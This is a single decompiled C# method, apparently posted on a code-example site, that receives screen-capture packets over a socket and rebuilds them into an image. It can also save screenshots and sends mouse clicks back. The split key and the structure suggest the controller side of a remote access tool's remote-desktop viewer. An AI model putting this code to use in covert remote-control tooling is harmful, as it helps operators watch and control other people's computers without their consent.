Exemplo n.º 1
0
        // Token: 0x06000095 RID: 149 RVA: 0x00008760 File Offset: 0x00006960
        public void PktToImage(byte[] BY)
        {
            if (Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                this.sk.Send(string.Concat(new string[]
                {
                    "@",
                    ima.Y,
                    Conversions.ToString(this.C1.SelectedIndex),
                    ima.Y,
                    this.C2.Text,
                    ima.Y,
                    Conversions.ToString(this.C.Value)
                }));
            }
            Point right;

            if (!(this.op == right) && Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                Point point = new Point(0, 0);
                point.X = this.op.X;
                point.Y = this.op.Y;
                this.op = default(Point);
                this.sk.Send(string.Concat(new string[]
                {
                    "$",
                    ima.Y,
                    Conversions.ToString(point.X),
                    ima.Y,
                    Conversions.ToString(point.Y),
                    ima.Y
                }));
            }
            Array        instance = Fungsi.fx(BY, "njq8");
            MemoryStream stream   = new MemoryStream((byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                1
            }, null));
            Bitmap bitmap = (Bitmap)Image.FromStream(stream);

            byte[] array = (byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                0
            }, null);
            string arg_1DB_0 = Fungsi.BS(ref array);

            NewLateBinding.LateIndexSetComplex(instance, new object[]
            {
                0,
                array
            }, null, true, false);
            string[] array2 = Strings.Split(arg_1DB_0, ",", -1, CompareMethod.Binary);
            checked
            {
                this.siz2 = Fungsi.Siz((long)BY.Length);
                this.siz1 = array2.Length - 2;
                IntPtr   callbackData;
                Bitmap   bitmap2   = (Bitmap)this.P1.Image.GetThumbnailImage(Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[1]), null, callbackData);
                Graphics graphics  = Graphics.FromImage(bitmap2);
                int      num       = 0;
                int      arg_25E_0 = 1;
                int      num2      = array2.Length - 2;
                int      num3      = arg_25E_0;
                while (true)
                {
                    int arg_3B5_0 = num3;
                    int num4      = num2;
                    if (arg_3B5_0 > num4)
                    {
                        break;
                    }
                    Point     point2    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    Size      size      = new Size(bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Graphics  arg_336_0 = graphics;
                    Bitmap    arg_2F8_0 = bitmap;
                    Rectangle rect      = new Rectangle(0, num, bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Image     arg_336_1 = arg_2F8_0.Clone(rect, bitmap.PixelFormat);
                    Point     point3    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    arg_336_0.DrawImage(arg_336_1, point3);
                    if (this.CheckBox1.Checked)
                    {
                        Rectangle rect2 = new Rectangle(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]), size.Width, size.Height);
                        graphics.DrawRectangle(Pens.Red, rect2);
                    }
                    num += size.Height;
                    num3++;
                }
                graphics.Dispose();
                this.P1.Image = bitmap2;
                if (this.CheckBox4.Checked)
                {
                    try
                    {
                        bitmap2.Save(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, Fungsi.DT()), ".jpg")));
                    }
                    catch (Exception expr_404)
                    {
                        ProjectData.SetProjectError(expr_404);
                        ProjectData.ClearProjectError();
                    }
                }
            }
        }